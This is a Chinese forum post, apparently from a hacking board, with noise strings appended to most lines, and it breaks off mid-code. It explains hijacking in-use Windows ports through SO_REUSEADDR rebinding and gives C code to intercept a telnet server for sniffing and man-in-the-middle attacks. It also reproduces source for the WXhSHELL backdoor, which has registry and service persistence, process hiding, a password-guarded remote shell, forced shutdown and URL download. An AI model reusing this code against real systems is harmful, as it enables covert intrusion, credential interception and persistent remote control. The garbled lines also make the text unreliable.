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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f\~A72-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wb;D9Z  
=QhK|C!$A  
  saddr.sin_family = AF_INET; vAzSpiv-  
Z`>m   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O5ZR{f&  
1SG^X-(GM/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \vgM`32<  
4S*dNYc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "]B%V!@  
fz<GPw  
  这意味着什么?意味着可以进行如下的攻击: @"n]v)[4  
Svm'ds7>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !JbWxGN`jn  
{YEGy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Z_29L w=  
3ZhuC".c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I~ e,']  
b5W(}ka+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X{P=2h#g  
} ^WmCX2a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j"n"=rTTQ  
8UXtIuQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "B0I$`~wu  
HJ;!'@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n4o}}tI  
2I{kLN1TY  
  #include m:c .dei5  
  #include +O@|bd \  
  #include @cn8m  
  #include    u6i X&%e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   40%<E  
  int main() c.}#.-b8  
  { z7R2viR[  
  WORD wVersionRequested; "X\6tl7a|  
  DWORD ret; H4uHCkj  
  WSADATA wsaData; dg4q+  
  BOOL val; FBS]U$1  
  SOCKADDR_IN saddr; 9/dADJe0b  
  SOCKADDR_IN scaddr; QFIYnxY9  
  int err; 6b\JD.r*{  
  SOCKET s; [n&SA]a  
  SOCKET sc; :i* =s}cv  
  int caddsize; m[tsG=XBN  
  HANDLE mt; SEIJ+u9XsA  
  DWORD tid;   w/@ tH  
  wVersionRequested = MAKEWORD( 2, 2 ); *V{Y.`\  
  err = WSAStartup( wVersionRequested, &wsaData ); KB8_yo{y  
  if ( err != 0 ) { "8/BVW^bv  
  printf("error!WSAStartup failed!\n"); uuYeXI;  
  return -1; i)7B :uA  
  } #dkSAS  
  saddr.sin_family = AF_INET; FLLfTkXdI  
   15M!erT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b ; U  
+Os9}uKf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t<MO~_`!  
  saddr.sin_port = htons(23); 6)_h'v<|M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NB3ar&.$S  
  { W('V2Z-q  
  printf("error!socket failed!\n"); &p5^Cjy L  
  return -1; w6|l ~.$=  
  } YA~`R~9d  
  val = TRUE; 6Tsi^((Li  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \%QA)T%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FA1h!Vit  
  { 9ZI^R/*Kc  
  printf("error!setsockopt failed!\n"); 2j=HxE  
  return -1; @Wa,  
  } g:Ry.=F7W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4f'!,Q ;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,Gy2$mglB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c6tH'oV  
=J'&.@Dwz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pp`[E/ qj4  
  { xPzBbe  
  ret=GetLastError();   9EWw  
  printf("error!bind failed!\n"); X08[,P#I  
  return -1; GB}!7W"  
  } K k|mV&3J  
  listen(s,2); )3)x/WM  
  while(1) lFa?l\jLXZ  
  { ,e;_ Vb  
  caddsize = sizeof(scaddr); DtkOb,wY  
  //接受连接请求 hpo*5Va  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); - @tL]]  
  if(sc!=INVALID_SOCKET) ;OSEMgB1  
  { +<fT\Oq#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  J9lG0  
  if(mt==NULL) 15R:m:T  
  { [FeN(8hGS  
  printf("Thread Creat Failed!\n"); Bs^p!4=  
  break; ICzcV };$  
  } lF~!F<^9  
  } R/l/GNm  
  CloseHandle(mt); #BX}j&h_  
  }  Vsd4;  
  closesocket(s); B* k|NZj  
  WSACleanup(); C;oO=R3r  
  return 0; 9b)'vr*Hy7  
  }   {VKP&{~O  
  DWORD WINAPI ClientThread(LPVOID lpParam) ksF4m_E>YB  
  { ]~4*ak=)5\  
  SOCKET ss = (SOCKET)lpParam; Tfw5i,{  
  SOCKET sc; ;I~ UQgE6H  
  unsigned char buf[4096]; &_,.*tha  
  SOCKADDR_IN saddr; aMaqlqf  
  long num; U3t) yr h  
  DWORD val; ,soXX_Y>  
  DWORD ret; /@@?0xjX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p+16*f9,^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BQ(sjJ$v6F  
  saddr.sin_family = AF_INET; }ni@]k#q<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HjZf3VwI  
  saddr.sin_port = htons(23); j<}y(~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8?h&FbmB  
  { )u]1j@Id  
  printf("error!socket failed!\n"); #=#bv`  
  return -1; 7x.] 9J  
  } UD_8#DO{m1  
  val = 100; $LOf2kn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g|5cO3m0'  
  { '%*/iH6<U{  
  ret = GetLastError(); /~P4<1  
  return -1; L\\'n )  
  }  ja^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $"fO/8Ex  
  { j){0>O.V  
  ret = GetLastError(); pf#~|n#t  
  return -1; s"(F({J  
  } U\dLq&=V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z._%T$8aJv  
  { bDnT><eH  
  printf("error!socket connect failed!\n"); Wo6C0Z3g}  
  closesocket(sc); !XO"lS  
  closesocket(ss); ,$"T/yYer  
  return -1; p?sFX$S  
  } bRI`ZT0  
  while(1) >[4CQK`U  
  { nk2H^RM^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q5~"8]Dls  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ? J6\?ct4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Qk].^'\  
  num = recv(ss,buf,4096,0); 4_ kg/  
  if(num>0) o(g}eP,g }  
  send(sc,buf,num,0); _cd=PZhI  
  else if(num==0) _EC H(  
  break; WTUC\}#E\  
  num = recv(sc,buf,4096,0); %[BOe4[  
  if(num>0) /m h #o  
  send(ss,buf,num,0); 8jz7t:0  
  else if(num==0) /<CgSW}  
  break; ;qaNIOo9  
  } J['i  
  closesocket(ss); +4V"&S|&  
  closesocket(sc); c? >;UzM  
  return 0 ; EgTj   
  } b;"Z`/h  
QQQN}!xPj  
7kmd.<  
========================================================== T 5>'q;jM  
Je=k.pO1  
下边附上一个代码,,WXhSHELL <UbLds{+Uo  
3mT6HGSKR  
========================================================== 1=mb2A  
UGQH wz  
#include "stdafx.h" `ex>q  
DxxY<OkN  
#include <stdio.h> 6&6t=  
#include <string.h> nmClP  
#include <windows.h> X"S")BQ q  
#include <winsock2.h> t?h\Af4Tf  
#include <winsvc.h> a4Y43n  
#include <urlmon.h> Og2G0sWRf  
Z!I#Z2X  
#pragma comment (lib, "Ws2_32.lib") :nxBM#:xu  
#pragma comment (lib, "urlmon.lib") hf5+$^RZ  
yX CJ?  
#define MAX_USER   100 // 最大客户端连接数 $8fJDN  
#define BUF_SOCK   200 // sock buffer ~-#8j3 J;  
#define KEY_BUFF   255 // 输入 buffer Ev,b5KelD  
5KL??ao-  
#define REBOOT     0   // 重启 7rIEpN>*  
#define SHUTDOWN   1   // 关机 #F ;@Qi3z  
j:[ #eC  
#define DEF_PORT   5000 // 监听端口 AV;x'H7G  
0"koZd,c  
#define REG_LEN     16   // 注册表键长度 InB'Ag"  
#define SVC_LEN     80   // NT服务名长度 $TFWum9wO  
imZ"4HnPP  
// 从dll定义API oe{,-<yck  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u9G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YkI_i(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :-e[$6}S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LteZ7e  
&'W ~~ir  
// wxhshell配置信息 oZw#]Q@  
struct WSCFG { 8GT4U5c ;  
  int ws_port;         // 监听端口 PPj%.i)  
  char ws_passstr[REG_LEN]; // 口令 !Er)|YP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6yedl0@wa!  
  char ws_regname[REG_LEN]; // 注册表键名 SAokW,  
  char ws_svcname[REG_LEN]; // 服务名 Tr "Bz!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KWH:tFL.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8P*wt'Q$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m&k l_f7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `tJ"wpCf6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wrs6t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q82yh&  
H1hADn  
}; I Ab-O  
=90)=Pxd  
// default Wxhshell configuration M Jtn)gXb  
struct WSCFG wscfg={DEF_PORT, l vfplA  
    "xuhuanlingzhe", f<*-;  
    1, @hOT< Uo  
    "Wxhshell", mxmj  
    "Wxhshell", 52'0l>  
            "WxhShell Service", b2UqN]{  
    "Wrsky Windows CmdShell Service", JjnWv7W3$  
    "Please Input Your Password: ", >JT^[i8[  
  1, QI6=[  
  "http://www.wrsky.com/wxhshell.exe", GUUd(xS {  
  "Wxhshell.exe" N`NW*~  
    }; #P;vc{ Iq  
@8U8>'zDE  
// 消息定义模块 <E\vc6n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yrFl,/8&G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q;9OqArq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "~6IjW*/  
char *msg_ws_ext="\n\rExit."; ?5rM'O2  
char *msg_ws_end="\n\rQuit."; TQ25"bWi  
char *msg_ws_boot="\n\rReboot..."; & eWnS~hJ  
char *msg_ws_poff="\n\rShutdown..."; ;BW9SqlN  
char *msg_ws_down="\n\rSave to "; fU ^5Dl  
zI.:1(,  
char *msg_ws_err="\n\rErr!"; iKAqM{(  
char *msg_ws_ok="\n\rOK!"; FUs57 V  
PQ(/1v   
char ExeFile[MAX_PATH]; !X+}W[Ic^  
int nUser = 0; KqFiS9 N5  
HANDLE handles[MAX_USER]; i#(+Kxr]>  
int OsIsNt; Y(h (Z  
30Udba+{]p  
SERVICE_STATUS       serviceStatus; |snWO0iF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c<imqDf  
y{J7^o(_~  
// 函数声明 IZ9* '0Z  
int Install(void); %Hy.  
int Uninstall(void); *a@78&N  
int DownloadFile(char *sURL, SOCKET wsh); $fQ'q3  
int Boot(int flag); =7Sw29u<  
void HideProc(void); pzcof#2  
int GetOsVer(void); {/K!cPp9  
int Wxhshell(SOCKET wsl); Dj x[3['  
void TalkWithClient(void *cs); gv/yfiA?  
int CmdShell(SOCKET sock); lcuqzX{7  
int StartFromService(void); u~\ NL{  
int StartWxhshell(LPSTR lpCmdLine); DXx),?s>  
ad`=A V]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jek3K&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ql? >,FZ  
9 N9Q#o$!.  
// 数据结构和表定义 F{FSmUxzK  
SERVICE_TABLE_ENTRY DispatchTable[] = Rj~y#m  
{ jP"yG#  
{wscfg.ws_svcname, NTServiceMain}, 7WEoyd  
{NULL, NULL} t[X,m]SX  
}; &ej |DM6  
884-\M"h  
// 自我安装 ms/Q-  
int Install(void) ~uh,R-Q$  
{ >^Y)@ J  
  char svExeFile[MAX_PATH]; #An_RU6h  
  HKEY key; wo_iCjmK  
  strcpy(svExeFile,ExeFile); L?r\J8Ch<  
p@%H. 5&&  
// 如果是win9x系统,修改注册表设为自启动  Y$nI9  
if(!OsIsNt) { <M M(Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fx = %e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VpWpC&  
  RegCloseKey(key); HQ`A.E2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iK9#{1BpML  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E9:p A5H-j  
  RegCloseKey(key); }!@X(S!do  
  return 0; tnFhL&  
    } yrV]I(Xe  
  } 7:X@lmBz=  
} Qd"u$~ qC  
else { 2hE+Om^n  
UszR. Z  
// 如果是NT以上系统,安装为系统服务 XMm (D!6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vL~j6'  
if (schSCManager!=0) +*KDtqZjk  
{ S<"`9r)av  
  SC_HANDLE schService = CreateService BnIZ+fg=  
  ( +V/mV7FK  
  schSCManager, lv\^@9r  
  wscfg.ws_svcname, ]M/*Beh  
  wscfg.ws_svcdisp, 6|ENDd[  
  SERVICE_ALL_ACCESS, l&6+ykQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =pn(56  
  SERVICE_AUTO_START, }d16xp  
  SERVICE_ERROR_NORMAL, ~+Ows  
  svExeFile, x).`nZ1  
  NULL, bb"x^DtT  
  NULL, _`q ei0  
  NULL, Fn*)!,)  
  NULL, PZSi}j/  
  NULL &-4SA j  
  ); )*_n/^m  
  if (schService!=0) za [;d4<}k  
  { Rb_+C  
  CloseServiceHandle(schService); @4%x7%+[c  
  CloseServiceHandle(schSCManager); HD9+4~8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q)l~?Fx  
  strcat(svExeFile,wscfg.ws_svcname); #GA6vJ4^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ar1X mHq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~6Df~uN  
  RegCloseKey(key); =.f<"P51k  
  return 0; cK H By  
    } O - N> X  
  } b'TkYa^  
  CloseServiceHandle(schSCManager); n]J;BW& Av  
} ,)P6fa/  
} K 6HH_T  
=YeI,KbA)  
return 1; t7b\#o  
} cS#m\O  
7;H P_oAu  
// 自我卸载 $ Y_v X 2  
int Uninstall(void) ulxy 4] h  
{ s14;\  
  HKEY key; 6yPh0n  
?)'+l   
if(!OsIsNt) { HLp'^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S`Wau/7t  
  RegDeleteValue(key,wscfg.ws_regname); GXx/pBdy[4  
  RegCloseKey(key); }[8Nr+y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - ]Mp<Y  
  RegDeleteValue(key,wscfg.ws_regname); IL N0/eH  
  RegCloseKey(key); p/.[ cH  
  return 0; !Zma\Ip  
  }  TrmU  
} wNhtw'E8  
} g)#.|d+  
else { l?swW+ x\  
WbDD9ZS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EJZb3  
if (schSCManager!=0) )Qx&m}  
{ ^ G@o} Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZsepTtY  
  if (schService!=0) M>"J5yqR  
  { 8nOent0a  
  if(DeleteService(schService)!=0) { zoI0oA  
  CloseServiceHandle(schService); 9Z;"9$+M  
  CloseServiceHandle(schSCManager); M8iI e:{ c  
  return 0; coFQu ; i  
  } osW"b"_f  
  CloseServiceHandle(schService); $09PZBF,i  
  } /J` ZO$  
  CloseServiceHandle(schSCManager); 8lcB.M  
} '*,P33h9<!  
} >ISN2Kn   
> ;zQ.2*  
return 1; `#w`-  
} g$$j:U*-  
{[Vkht}  
// 从指定url下载文件 b<?A  
int DownloadFile(char *sURL, SOCKET wsh) ? {vY3~  
{ VN!+r7w'  
  HRESULT hr; 1 !`B8y)  
char seps[]= "/"; 4Hcds9y9  
char *token; YsXf+_._  
char *file; 1>e%(k2w%  
char myURL[MAX_PATH]; UO{3v ry48  
char myFILE[MAX_PATH]; 64h$sC0z/e  
@-F[3`HeA  
strcpy(myURL,sURL); ?v$kq}Rg  
  token=strtok(myURL,seps); ~G*eJc0S:  
  while(token!=NULL) /QK H30E  
  { \"W _\&X  
    file=token; Bfz]PN78.G  
  token=strtok(NULL,seps); [_SV$Jz  
  } wSP'pM{#2  
[j^c&}0  
GetCurrentDirectory(MAX_PATH,myFILE); _ BUD~'Q5  
strcat(myFILE, "\\"); qD/X%`>Q  
strcat(myFILE, file); .B|a.-oA4  
  send(wsh,myFILE,strlen(myFILE),0); It8m]FN  
send(wsh,"...",3,0); Af%#&r7W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8m poY.E4!  
  if(hr==S_OK) Z>+Tzvfud  
return 0; bTN0n  
else ?3) IzzO  
return 1; TB  
/WX 0}mWu  
} 6}9`z8  
Ko|p&-Z;  
// 系统电源模块  #3m7`}c  
int Boot(int flag) :k*3?*'K  
{ #>/s tU-  
  HANDLE hToken; m^rrbU+HM?  
  TOKEN_PRIVILEGES tkp; iS%md  
K4>nBvZ?v  
  if(OsIsNt) { >4N=P0=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o$FYCz n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pJpTOq\h  
    tkp.PrivilegeCount = 1; yC<[LH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  %SSBXWP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8rwXbYx x  
if(flag==REBOOT) { @+`">a8} ,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4RXF.kJ3=  
  return 0; 5? rR'0  
} 3"XS#~l%  
else { V0!.>sX9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A(<"oAe|  
  return 0; AJ`R2 $  
} |?KdQeL  
  } h-`*S&mZ  
  else { WOaj_o  
if(flag==REBOOT) { hd E?%A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gQ@fe3[  
  return 0; [hT|]|fJS;  
} hy?e?^  
else { kbF+aS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NDv_@V(D  
  return 0; lq%6~va  
} gvx {;e  
} GE0,d  
~^u#Q\KE"  
return 1; JIobs*e0m  
} x\m?*5p  
HECZZnM  
// win9x进程隐藏模块 -P5M(Rt  
void HideProc(void) RU' WHk  
{ 9:l@8^_o  
R6KS&Ge_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ==z,vxr  
  if ( hKernel != NULL ) ;:)?@IuSy  
  { &InMI#0mV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h+rrmC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e%O]U:Z  
    FreeLibrary(hKernel); j;+!BKWy4  
  } Ea7LPHE#  
4xE [S  
return; STxreW1  
} +UTs2*H/^  
u3>D vl@  
// 获取操作系统版本 s{]2~Z^2od  
int GetOsVer(void) V9"?}cR/W;  
{ tLzX L *  
  OSVERSIONINFO winfo; TnvX&Y'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MSMgaw?  
  GetVersionEx(&winfo); [sT}hYh+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ETA 1\  
  return 1; 8eVQnp*  
  else HAi'0%"  
  return 0; C"We>!  
} l$s8O0-'T  
F/qx2E$*wo  
// 客户端句柄模块 z'FJx2  
int Wxhshell(SOCKET wsl) Apfs&{Uy  
{ jPjFp35;zb  
  SOCKET wsh; Td`0;R'<}c  
  struct sockaddr_in client; dGrm1w  
  DWORD myID; [MkXQwY  
5ma*&Q8+  
  while(nUser<MAX_USER) [7:(e/&  
{ '#fwNbD  
  int nSize=sizeof(client); 3~%wA(|A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?l3PDorR  
  if(wsh==INVALID_SOCKET) return 1; sBo|e]m#  
w53+k\.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '*PJ-=G  
if(handles[nUser]==0) *&\fBi]  
  closesocket(wsh); dIUg e`O9  
else k7\h- yn{  
  nUser++; ^q uv`d  
  } UUF;Q0X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /4R|QD  
?5>Ep:{+/  
  return 0; 'z=QV{ni  
} Y_}DF.>I P  
-Xw i}/OX  
// 关闭 socket QE.a2 }  
void CloseIt(SOCKET wsh) *k]izWsV*  
{ e uF@SS  
closesocket(wsh); C(^IX"9 #  
nUser--; jd&kak  
ExitThread(0); A{!D7kwTz~  
} ;DkX"X+  
v/Z!Wp1LV  
// 客户端请求句柄 .\?)O+J!  
void TalkWithClient(void *cs) UUlrfur~  
{ "[*W=6m0  
z}" Xt=G?  
  SOCKET wsh=(SOCKET)cs; &mM[q 'V  
  char pwd[SVC_LEN]; 2[Ja|W\If  
  char cmd[KEY_BUFF]; k3 65.nc  
char chr[1]; \*C}[D  
int i,j; #hOAG_a,  
sKkk+-J4  
  while (nUser < MAX_USER) { &4%j   
)i;o\UU  
if(wscfg.ws_passstr) { #Zm%U_$<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \*5_gPj!d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T =l4Vb{>  
  //ZeroMemory(pwd,KEY_BUFF); j>5D4}*]f  
      i=0; %Tn0r|K  
  while(i<SVC_LEN) { zdwr5k  
)T=cd   
  // 设置超时 ;34 m!\N5  
  fd_set FdRead; Ier0F7]I  
  struct timeval TimeOut; DKjkO5R\  
  FD_ZERO(&FdRead); \ >@'wl  
  FD_SET(wsh,&FdRead); 5F8sigr/h  
  TimeOut.tv_sec=8; bOi`JJ^   
  TimeOut.tv_usec=0; {!B^nCSL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aK%i=6j!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g]=w_  
GTw3rD^wg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yH<^txNF  
  pwd=chr[0]; u_C/Y[ik  
  if(chr[0]==0xd || chr[0]==0xa) { /uc*V6Xd (  
  pwd=0; y8$TU;  
  break; )_bR"!Z  
  } O~r.sJ}  
  i++; `[.':"~2N  
    } >lo,0oG  
gCMwmanX  
  // 如果是非法用户,关闭 socket @q?zh'@;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nJ.<yrzi  
} %CxrXU  
S}=euY'i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .H,wdzg)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m#E%, rT  
%lw!4Z\gg  
while(1) { S z3@h"  
$6ZO V/0  
  ZeroMemory(cmd,KEY_BUFF); 6S;-fj  
f$lf(brQ:  
      // 自动支持客户端 telnet标准   Ol,Tw=?  
  j=0; qc*z`Wz:  
  while(j<KEY_BUFF) { SWX;sM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PKT/U^2X]  
  cmd[j]=chr[0]; (W7cQ>  
  if(chr[0]==0xa || chr[0]==0xd) { A.!V*1h{  
  cmd[j]=0; L{hP&8$k  
  break; 7>g^OE f  
  } PD$g W`V  
  j++; s uT#k3  
    } ?#8s=t  
(f^K\7HM  
  // 下载文件 I e#LZti  
  if(strstr(cmd,"http://")) { ( aGwe@AS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zd/ACZ[  
  if(DownloadFile(cmd,wsh)) cG|ihG5)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYzyg  
  else .[v4'ww^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,8KD-"l^g  
  } 0L "+,  
  else { PKoB~wLH  
zCdQI  
    switch(cmd[0]) { x"@Y[  
  1D42+cy  
  // 帮助 s2*^ PG  
  case '?': { &ACM:&Ob  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N798("  
    break; GW_@hYIqD  
  } :V>M{vd  
  // 安装 P"`OuN  
  case 'i': { T@[(FVA N  
    if(Install()) OY'490  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sLE@Cm]k  
    else *&b~cyC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "y_A xOH  
    break; &;~x{q]3  
    } o}XbFL n  
  // 卸载 `%lgT+~T  
  case 'r': { |OXufV?I  
    if(Uninstall()) ?fB}9(6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7cxEOfAu  
    else P +U=/$o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "o +" Jd  
    break; #C+""qm  
    } 0hTv0#j#  
  // 显示 wxhshell 所在路径 >&K1+FSmyJ  
  case 'p': { FFH9 $>A  
    char svExeFile[MAX_PATH]; 2k,!P6fgl  
    strcpy(svExeFile,"\n\r"); Mf0XQ3n`H  
      strcat(svExeFile,ExeFile); )q?z "F|  
        send(wsh,svExeFile,strlen(svExeFile),0); c;w%R8z  
    break; :NL.#!>/  
    } %m:T?![XO  
  // 重启 T&_!AjH  
  case 'b': { C wKo'PAJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zG_e=   
    if(Boot(REBOOT))  fL9R{=I%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  '&/"_  
    else { (>THN*i  
    closesocket(wsh); WH F>J  
    ExitThread(0); Fg8i} >w  
    } Jsee8^_~  
    break; |Uz?i7z  
    } \Uun2.K  
  // 关机 gkdd#Nrk  
  case 'd': { Gld|w=qr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rs$sAa*f  
    if(Boot(SHUTDOWN)) K252l,;|  
